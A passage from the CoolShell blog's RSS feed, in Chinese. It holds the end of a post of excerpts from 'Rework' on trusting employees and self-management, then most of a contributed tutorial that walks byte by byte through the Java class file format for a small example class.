rel=\"noopener\">以前说过的那句话</a>，“如果一件事情以前没有发生过，未来也不会发生”，比如：如果你在学校里，在工作里，你的同学和同事并不经常来向你请教询问你的意见，那么你基本上很难成为一个Leader</strong>。</p></blockquote>\n<h4>员工不是13岁</h4>\n<p><strong>当你把员工当孩子看时，人们就会像孩子一样行事</strong>。</p>\n<p>当公司里事事都要上报审批时，你就创造出了一种无脑文化。你成功地制造出了老板和员工之间的对立关系。这种关系在咆哮着：“我不相信你！”</p>\n<p>当你处处限制员工，比如禁上他们在上班时访问外部网站或是开小差，你会得到什么好处？什么也得不到。人们需要开小差，这有助于打破整日的枯燥单调，花点时间上上Youtube或Facebook不会失去什么。</p>\n<p>如果你要监控你的员工，你得想想你要花多少时间和金钱来监管员工。你浪费了多少钱去安装监控软件？你浪费了多少人力资源去监视员工？你浪费了多少时间去写没有人会看的规章制度？<strong>看看这些成本，你很快就发现，对员工的不信任才是最大的开销</strong>。</p>\n<blockquote><p><strong>感想</strong>：我始终在跟我的团队成员说，最有效的管理就是自己管理自己，而不是还要专们的人来管你。不然的话，你一定会很难受的。如果你能管理好你的工作和任务，我们就不需要项目经理。如果你能管理得好你的做事的方法和流程，就不需要那些搞流程的。如果你能管理得好你的程序质量，我们就不需要QA来监管你…… 等等。<strong>其实，你们如果能管理得好自己，并能自我进化。你们甚至不需要一个经理。但是，你们可能会需要一个为你们跑腿打杂的人，其实，那个人就是经理</strong>。</p></blockquote>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9156.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>152</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>实例分析Java Class的文件结构</title>\n\t\t<link>https://coolshell.cn/articles/9229.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9229.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[tiger.zhou]]></dc:creator>\n\t\t<pubDate>Tue, 05 Mar 2013 15:28:51 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9229</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢网友 @Krq_Tiger 投稿】 今天把之前在Evernote中的笔记重新整理了一下，发上来供对java class 文件结构的有兴趣的同学参考一下。 ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9229.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9229.html\">实例分析Java Class的文件结构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>【感谢网友 @<a title=\"Krq_Tiger\" href=\"http://weibo.com/xmuzyq\" target=\"_blank\">Krq_Tiger</a> 投稿】</strong></p>\n<p>今天把之前在Evernote中的笔记重新整理了一下，发上来供对java class 文件结构的有兴趣的同学参考一下。</p>\n<p>学习Java的朋友应该都知道Java从刚开始的时候就打着平台无关性的旗号，说“一次编写，到处运行”，其实说到无关性，Java平台还有另外一个无关 性那就是语言无关性，要实现语言无关性，那么Java体系中的class的文件结构或者说是字节码就显得相当重要了，其实Java从刚开始的时候就有两套 规范，一个是Java语言规范，另外一个是Java虚拟机规范，Java语言规范只是规定了Java语言相关的约束以及规则，而虚拟机规范则才是真正从跨 平台的角度去设计的。今天我们就以一个实际的例子来看看，到底Java中一个Class文件对应的字节码应该是什么样子。 这篇文章将首先总体上阐述一下Class到底由哪些内容构成，然后再用一个实际的Java类入手去分析class的文件结构。</p>\n<p>在继续之前，我们首先需要明确如下几点：</p>\n<p style=\"padding-left: 30px;\">1）Class文件是有8个字节为基础的字节流构成的，这些字节流之间都严格按照规定的顺序排列，并且字节之间不存在任何空隙，对于超过8个字节的数据，将按 照Big-Endian的顺序存储的，也就是说高位字节存储在低的地址上面，而低位字节存储到高地址上面，其实这也是class文件要跨平台的关键，因为 PowerPC架构的处理采用Big-Endian的存储顺序，而x86系列的处理器则采用Little-Endian的存储顺序，因此为了Class文 件在各中处理器架构下保持统一的存储顺序，虚拟机规范必须对起进行统一。</p>\n<p style=\"padding-left: 30px;\">2） Class文件结构采用类似C语言的结构体来存储数据的，主要有两类数据项，无符号数和表，无符号数用来表述数字，索引引用以及字符串等，比如 u1,u2,u4,u8分别代表1个字节，2个字节，4个字节，8个字节的无符号数，而表是有多个无符号数以及其它的表组成的复合结构。可能大家看到这里 对无符号数和表到底是上面也不是很清楚，不过不要紧，等下面实例的时候，我会再以实例来解释。</p>\n<p>明确了上面的两点以后，我们接下来后来看看Class文件中按照严格的顺序排列的字节流都具体包含些什么数据：</p>\n<p><span id=\"more-9229\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"点击查看原始大小图片\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/1.png\" width=\"700\" height=\"399\" /></p>\n<p style=\"text-align: center;\">（上图来自The Java Virtual Machine Specification Java SE 7 Edition)</p>\n<p>在看上图的时候，有一点我们需要注意，比如cp_info，cp_info表示常量池，上图中用 constant_pool[constant_pool_count-1]的方式来表示常量池有constant_pool_count-1个常量，它 这里是采用数组的表现形式，但是大家不要误以为所有的常量池的常量长度都是一样的，其实这个地方只是为了方便描述采用了数组的方式，但是这里并不像编程语 言那里，一个int型的数组，每个int长度都一样。明确了这一点以后，我们在回过头来看看上图中每一项都具体代表了什么含义。</p>\n<p>1）u4 magic 表示魔数，并且魔数占用了4个字节，魔数到底是做什么的呢？它其实就是表示一下这个文件的类型是一个Class文件，而不是一张JPG图片，或者AVI的电影。而Class文件对应的魔数是0xCAFEBABE.</p>\n<p>2）u2 minor_version 表示Class文件的次版本号，并且此版本号是u2类型的无符号数表示。</p>\n<p>3） u2 major_version 表示Class文件的主版本号，并且主版本号是u2类型的无符号数表示。major_version和minor_version主要用来表示当前的虚拟 机是否接受当前这种版本的Class文件。不同版本的Java编译器编译的Class文件对应的版本是不一样的。高版本的虚拟机支持低版本的编译器编译的 Class文件结构。比如Java SE 6.0对应的虚拟机支持Java SE 5.0的编译器编译的Class文件结构，反之则不行。</p>\n<p>4） u2 constant_pool_count 表示常量池的数量。这里我们需要重点来说一下常量池是什么东西，请大家不要与Jvm内存模型中的运行时常量池混淆了，Class文件中常量池主要存储了字 面量以及符号引用，其中字面量主要包括字符串，final常量的值或者某个属性的初始值等等，而符号引用主要存储类和接口的全限定名称，字段的名称以及描 述符，方法的名称以及描述符，这里名称可能大家都容易理解，至于描述符的概念，放到下面说字段表以及方法表的时候再说。另外大家都知道Jvm的内存模型中 有堆，栈，方法区，程序计数器构成，而方法区中又存在一块区域叫运行时常量池，运行时常量池中存放的东西其实也就是编译器长生的各种字面量以及符号引用， 只不过运行时常量池具有动态性，它可以在运行的时候向其中增加其它的常量进去，最具代表性的就是String的intern方法。</p>\n<p>5）cp_info 表示常量池，这里面就存在了上面说的各种各样的字面量和符号引用。放到常量池的中数据项在The Java Virtual Machine Specification Java SE 7 Edition 中一共有14个常量，每一种常量都是一个表，并且每种常量都用一个公共的部分tag来表示是哪种类型的常量。</p>\n<p>下面分别简单描述一下具体细节等到后面的实例 中我们再细化。</p>\n<ul>\n<li>CONSTANT_Utf8_info      tag标志位为1,   UTF-8编码的字符串</li>\n<li>CONSTANT_Integer_info  tag标志位为3， 整形字面量</li>\n<li>CONSTANT_Float_info     tag标志位为4， 浮点型字面量</li>\n<li>CONSTANT_Long_info     tag标志位为5， 长整形字面量</li>\n<li>CONSTANT_Double_info  tag标志位为6， 双精度字面量</li>\n<li>CONSTANT_Class_info    tag标志位为7， 类或接口的符号引用</li>\n<li>CONSTANT_String_info    tag标志位为8，字符串类型的字面量</li>\n<li>CONSTANT_Fieldref_info  tag标志位为9,  字段的符号引用</li>\n<li>CONSTANT_Methodref_info  tag标志位为10，类中方法的符号引用</li>\n<li>CONSTANT_InterfaceMethodref_info tag标志位为11, 接口中方法的符号引用</li>\n<li>CONSTANT_NameAndType_info tag 标志位为12，字段和方法的名称以及类型的符号引用</li>\n</ul>\n<p style=\"text-align: center;\">6） u2 access_flags 表示类或者接口的访问信息，具体如下图所示：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"点击查看原始大小图片\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/2.png\" width=\"700\" height=\"421\" /></p>\n<p>7）u2 this_class 表示类的常量池索引，指向常量池中CONSTANT_Class_info的常量</p>\n<p>8）u2 super_class 表示超类的索引，指向常量池中CONSTANT_Class_info的常量</p>\n<p>9）u2 interface_counts 表示接口的数量</p>\n<p>10）u2 interface[interface_counts]表示接口表，它里面每一项都指向常量池中CONSTANT_Class_info常量</p>\n<p>11）u2 fields_count 表示类的实例变量和类变量的数量</p>\n<p>12） field_info fields[fields_count]表示字段表的信息，其中字段表的结构如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/3.png\" width=\"581\" height=\"159\" /></p>\n<p>上图中access_flags表示字段的访问表示，比如字段是public,private，protect 等，name_index表示字段名 称，指向常量池中类型是CONSTANT_UTF8_info的常量，descriptor_index表示字段的描述符，它也指向常量池中类型为 CONSTANT_UTF8_info的常量，attributes_count表示字段表中的属性表的数量，而属性表是则是一种用与描述字段，方法以及 类的属性的可扩展的结构，不同版本的Java虚拟机所支持的属性表的数量是不同的。</p>\n<p>13） u2 methods_count表示方法表的数量</p>\n<p>14）method_info 表示方法表，方法表的具体结构如下图所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/4.png\" width=\"550\" height=\"157\" /><br />\n其中access_flags表示方法的访问表示，name_index表示名称的索引，descriptor_index表示方法的描述 符，attributes_count以及attribute_info类似字段表中的属性表，只不过字段表和方法表中属性表中的属性是不同的，比如方法 表中就Code属性，表示方法的代码，而字段表中就没有Code属性。其中具体Class中到底有多少种属性，等到Class文件结构中的属性表的时候再 说说。</p>\n<p>15） attribute_count表示属性表的数量，说到属性表，我们需要明确以下几点：</p>\n<ul>\n<li>属性表存在于Class文件结构的最后，字段表，方法表以及Code属性中，也就是说属性表中也可以存在属性表</li>\n<li>属性表的长度是不固定的，不同的属性，属性表的长度是不同的</li>\n</ul>\n<p>上面说完了Class文件结构中每一项的构成以后，我们以一个实际的例子来解释以下上面所说的内容。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">package com.ejushang.TestClass;\n\npublic class TestClass implements Super{\n\nprivate static final int staticVar = 0;\n\nprivate int instanceVar=0;\n\npublic int instanceMethod(int param){\n return param+1;\n }\n\n}\n\ninterface Super{ }</pre>\n<p>通过jdk1.6.0_37的javac 编译后的TestClass.java对应的TestClass.class的二进制结构如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/5.png\" width=\"658\" height=\"400\" /></p>\n<p>下面我们就根据前面所说的Class的文件结构来解析以下上图中字节流。</p>\n<p><strong>1）魔数</strong><br />\n从Class的文件结构我们知道，刚开始的4个字节是魔数，上图中从地址00000000h-00000003h的内容就是魔数，从上图可知Class的文件的魔数是0xCAFEBABE。</p>\n<p><strong> 2）主次版本号</strong><br />\n接下来的4个字节是主次版本号，有上图可知从00000004h-00000005h对应的是0x0000,因此Class的minor_version 为0x0000,从00000006h-00000007h对应的内容为0x0032,因此Class文件的major_version版本为 0x0032,这正好就是jdk1.6.0不带target参数编译后的Class对应的主次版本。</p>\n<p><strong> 3）常量池的数量</strong><br />\n接下来的2个字节从00000008h-00000009h表示常量池的数量，由上图可以知道其值为0x0018，十进制为24个,但是对于常量池的数量 需要明确一点，常量池的数量是constant_pool_count-1，为什么减一，是因为索引0表示class中的数据项不引用任何常量池中的常 量。</p>\n<p><strong> 4）常量池</strong><br />\n我们上面说了常量池中有不同类型的常量，下面就来看看TestClass.class的第一个常量，我们知道每个常量都有一个u1类型的tag标识来表示 常量的类型，上图中0000000ah处的内容为0x0A，转换成二级制是10，有上面的关于常量类型的描述可知tag为10的常量是Constant_Methodref_info,而Constant_Methodref_info的结够如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/6.png\" width=\"342\" height=\"120\" /></p>\n<p>其中class_index指向常量池中类型为CONSTANT_Class_info的常量，从TestClass的二进制文件结构中可以看出 class_index的值为0x0004（地址为0000000bh-0000000ch)，也就是说指向第四个常量。</p>\n<p>name_and_type_index指向常量池中类型为CONSTANT_NameAndType_info常量。从上图可以看出name_and_type_index的值为0x0013，表示指向常量池中的第19个常量。</p>\n<p>接下来又可以通过同样的方法来找到常量池中的所有常量。不过JDK提供了一个方便的工具可以让我们查看常量池中所包含的常量。通过javap -verbose TestClass 即可得到所有常量池中的常量，截图如下：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/7.png\" width=\"689\" height=\"372\" /></p>\n<p>从上图我们可以清楚的看到，TestClass中常量池有24个常量，不要忘记了第0个常量，因为第0个常量被用来表示 Class中的数据项不引用任何常量池中的常量。从上面的分析中我们得知TestClass的第一个常量表示方法，其中class_index指向的第四 个常量为java/lang/Object，name_and_type_index指向的第19个常量值为&lt;init&gt;:()V,从这里可 以看出第一个表示方法的常量表示的是java编译器生成的实例构造器方法。通过同样的方法可以分析常量池的其它常量。OK，分析完常量池，我们接下来再分 析下access_flags。<br />\n<strong>5）u2 access_flags</strong> 表示类或者接口方面的访问信息，比如Class表示的是类还是接口，是否为public,static，final等。具体访问标示的含义之前已经说过 了，下面我们就来看看TestClass的访问标示。Class的访问标示是从0000010dh-0000010e，期值为0x0021，根据前面说的 各种访问标示的标志位，我们可以知道：0x0021=0x0001|0x0020 也即ACC_PUBLIC 和 ACC_SUPER为真，其中ACC_PUBLIC大家好理解，ACC_SUPER是jdk1.2之后编译的类都会带有的标志。</p>\n<p><strong>6）u2 this_class</strong> 表示类的索引值，用来表示类的全限定名称，类的索引值如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/8.png\" width=\"671\" height=\"396\" /></p>\n<p>从上图可以清楚到看到，类索引值为0x0003，对应常量池的第三个常量，通过javap的结果，我们知道第三个常量为 CONSTANT_Class_info类型的常量，通过它可以知道类的全限定名称为：com/ejushang/TestClass /TestClass</p>\n<p><strong> 7）u2 super_class</strong> 表示当前类的父类的索引值，索引值所指向的常量池中类型为CONSTANT_Class_info的常量，父类的索引值如下图所示，其值为0x0004, 查看常量池的第四个常量，可知TestClass的父类的全限定名称为：java/lang/Object</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/9.png\" width=\"670\" height=\"395\" /></p>\n<p><strong>8）interfaces_count和  interfaces[interfaces_count]</strong>表示接口数量以及具体的每一个接口，TestClass的接口数量以及接口如下图所示，其中 0x0001表示接口数量为1，而0x0005表示接口在常量池的索引值，找到常量池的第五个常量，其类型为CONSTANT_Class_info，其 值为：com/ejushang/TestClass/Super</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/10.png\" width=\"674\" height=\"400\" /></p>\n<p style=\"text-align: center;\"><strong>9）fields_count 和 field_info</strong>, fields_count表示类中field_info表的数量，而field_info表示类的实例变量和类变量，这里需要注意的是 field_info不包含从父类继承过来的字段，field_info的结构如下图所示：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/11.png\" width=\"581\" height=\"159\" /></p>\n<p style=\"text-align: center;\">其中access_flags表示字段的访问标示，比如public,private,protected，static,final等，access_flags的取值如下图所示：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"点击查看原始大小图片\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/12.png\" width=\"700\" height=\"484\" /></p>\n<p style=\"text-align: left;\">其中name_index 和 descriptor_index都是常量池的索引值，分别表示字段的名称和字段的描述符，字段的名称容易理解，但是字段的描述符如何理解呢？其实在JVM 规范中，对于字段的描述符规定如下图所示：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"点击查看原始大小图片\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/13.png\" width=\"700\" height=\"408\" /><br />\n其中大家需要关注一下上图最后一行，它表示的是对一维数组的描述符，对于String[][]的描述符将是[[ Ljava/lang/String,而对于int[][]的描述符为[[I。接下来的attributes_count以及 attribute_info分别表示属性表的数量以及属性表。下面我们还是以上面的TestClass为例，来看看TestClass的字段表吧。</p>\n<p>首先我们来看一下字段的数量，TestClass的字段的数量如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/14.png\" width=\"669\" height=\"395\" /></p>\n<p>从上图中可以看出TestClass有两个字段，查看TestClass的源代码可知，确实也只有两个字段，接下来我们看看第一个字段，我们知道第一个字段应该为private int staticVar,它在Class文件中的二进制表示如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/15.png\" width=\"669\" height=\"402\" /><br />\n其中0x001A表示访问标示，通过查看access_flags表可知，其为ACC_PRIVATE,ACC_STATIC,ACC_FINAL,接下 来0x0006和0x0007分别表示常量池中第6和第7个常量，通过查看常量池可知，其值分别为：staticVar和I，其中staticVar为字 段名称，而I为字段的描述符，通过上面对描述符的解释，I所描述的是int类型的变量，接下来0x0001表示staticVar这个字段表中的属性表的 数量，从上图可以staticVar字段对应的属性表有1个，0x0008表示常量池中的第8个常量，查看常量池可以得知此属性为 ConstantValue属性，而ConstantValue属性的格式如下图所示：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/16.png\" width=\"351\" height=\"140\" /></p>\n<p>其中attribute_name_index表述属性名的常量池索引，本例中为ConstantValue，而ConstantValue的 attribute_length固定长度为2，而constantValue_index表示常量池中的引用，本例中，其中为0x0009，查看第9个 常量可以知道，它表示一个类型为CONSTANT_Integer_info的常量，其值为0。</p>\n<p>上面说完了private static final int staticVar=0，下面我们接着说一下TestClass的private int instanceVar=0,在本例中对instanceVar的二进制表示如下图所示：</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/17.png\" width=\"680\" height=\"397\" /><br />\n其中0x0002表示访问标示为ACC_PRIVATE,0x000A表示字段的名称，它指向常量池中的第10个常量，查看常量池可以知道字段名称为 instanceVar，而0x0007表示字段的描述符，它指向常量池中的第7个常量，查看常量池可以知道第7个常量为I，表示类型为 instanceVar的类型为I，最后0x0000表示属性表的数量为0.</p>\n<p><strong> 10）methods_count 和 method_info</strong> ，其中methods_count表示方法的数量，而method_info表示的方法表，其中方法表的结构如下图所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/18.png\" width=\"550\" height=\"157\" /></p>\n<p style=\"text-align: left;\">从上图可以看出method_info和field_info的结构是很类似的，方法表的access_flag的所有标志位以及取值如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"点击查看原始大小图片\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/19.png\" width=\"700\" height=\"484\" /></p>\n<p>其中name_index和descriptor_index表示的是方法的名称和描述符，他们分别是指向常量池的索引。这里需要结解释一下方法的描述 符，方法的描述符的结构为：（参数列表）返回值，比如public int instanceMethod(int param)的描述符为：（I）I，表示带有一个int类型参数且返回值也为int类型的方法，接下来就是属性数量以及属性表了，方法表和字段表虽然都有 属性数量和属性表，但是他们里面所包含的属性是不同。接下来我们就以TestClass来看一下方法表的二进制表示。首先来看一下方法表数量，截图如下：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/20.png\" width=\"665\" height=\"394\" /><br />\n从上图可以看出方法表的数量为0x0002表示有两个方法，接下来我们来分析第一个方法，我们首先来看一下TestClass的第一个方法的access_flag，name_index,descriptor_index，截图如下：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/21.png\" width=\"671\" height=\"396\" /><br />\n从上图可以知道access_flags为0x0001，从上面对access_flags标志位的描述，可知方法的access_flags的取值为 ACC_PUBLIC,name_index为0x000B，查看常量池中的第11个常量，知道方法的名称为&lt;init&gt;，0x000C表示 descriptor_index表示常量池中的第12常量，其值为()V,表示&lt;init&gt;方法没有参数和返回值，其实这是编译器自动生成 的实例构造器方法。接下来的0x0001表示&lt;init&gt;方法的方法表有1个属性，属性截图如下：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/22.png\" width=\"679\" height=\"396\" /><br />\n从上图可以看出0x000D对应的常量池中的常量为Code,表示的方法的Code属性，所以到这里大家应该明白方法的那些代码是存储在Class文件方法表中的属性表中的Code属性中。接下来我们在分析一下Code属性，Code属性的结构如下图所示：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/23.png\" width=\"607\" height=\"344\" /></p>\n<p>其中attribute_name_index指向常量池中值为Code的常量，attribute_length的长度表示Code属性表的长度（这里 需要注意的时候长度不包括attribute_name_index和attribute_length的6个字节的长度）。</p>\n<p>max_stack表示最大栈深度，虚拟机在运行时根据这个值来分配栈帧中操作数的深度，而max_locals代表了局部变量表的存储空间。</p>\n<p>max_locals的单位为slot，slot是虚拟机为局部变量分配内存的最小单元，在运行时，对于不超过32位类型的数据类型，比如 byte,char,int等占用1个slot，而double和Long这种64位的数据类型则需要分配2个slot，另外max_locals的值并 不是所有局部变量所需要的内存数量之和，因为slot是可以重用的，当局部变量超过了它的作用域以后，局部变量所占用的slot就会被重用。</p>\n<p>code_length代表了字节码指令的数量，而code表示的时候字节码指令，从上图可以知道code的类型为u1,一个u1类型的取值为0x00-0xFF,对应的十进制为0-255，目前虚拟机规范已经定义了200多条指令。</p>\n<p>exception_table_length以及exception_table分别代表方法对应的异常信息。</p>\n<p>attributes_count和attribute_info分别表示了Code属性中的属性数量和属性表，从这里可以看出Class的文件结构中，属性表是很灵活的，它可以存在于Class文件，方法表，字段表以及Code属性中。</p>\n<p>接下来我们继续以上面的例子来分析一下，从上面init方法的Code属性的截图中可以看出，属性表的长度为0x00000026,max_stack的 值为0x0002,max_locals的取值为0x0001,code_length的长度为0x0000000A，那么00000149h- 00000152h为字节码，接下来exception_table_length的长度为0x0000，而attribute_count的值为 0x0001，00000157h-00000158h的值为0x000E,它表示常量池中属性的名称，查看常量池得知第14个常量的值为 LineNumberTable，LineNumberTable用于描述java源代码的行号和字节码行号的对应关系，它不是运行时必需的属性，如果通 过-g:none的编译器参数来取消生成这项信息的话，最大的影响就是异常发生的时候，堆栈中不能显示出出错的行号，调试的时候也不能按照源代码来设置断 点，接下来我们再看一下LineNumberTable的结构如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/24.png\" width=\"566\" height=\"184\" /></p>\n<p>其中attribute_name_index上面已经提到过，表示常量池的索引，attribute_length表示属性长度，而start_pc和 line_number分表表示字节码的行号和源代码的行号。本例中LineNumberTable属性的字节流如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/25.png\" width=\"675\" height=\"395\" /></p>\n<p>上面分析完了TestClass的第一个方法，通过同样的方式我们可以分析出TestClass的第二个方法，截图如下：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/26.png\" width=\"671\" height=\"395\" /></p>\n<p>其中access_flags为0x0001,name_index为0x000F,descriptor_index为0x0010，通过查看常量池可 以知道此方法为public int instanceMethod(int param)方法。通过和上面类似的方法我们可以知道instanceMethod的Code属性为下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/27.png\" width=\"670\" height=\"397\" /></p>\n<p>最后我们来分析一下，Class文件的属性，从00000191h-00000199h为Class文件中的属性表，其中0x0011表示属性的名称，查看常量池可以知道属性名称为SourceFile，我们再来看看SourceFile的结构如下图所示：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/28.png\" width=\"338\" height=\"118\" /></p>\n<p>其中attribute_length为属性的长度，sourcefile_index指向常量池中值为源代码文件名称的常量，在本例中SourceFile属性截图如下：</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" 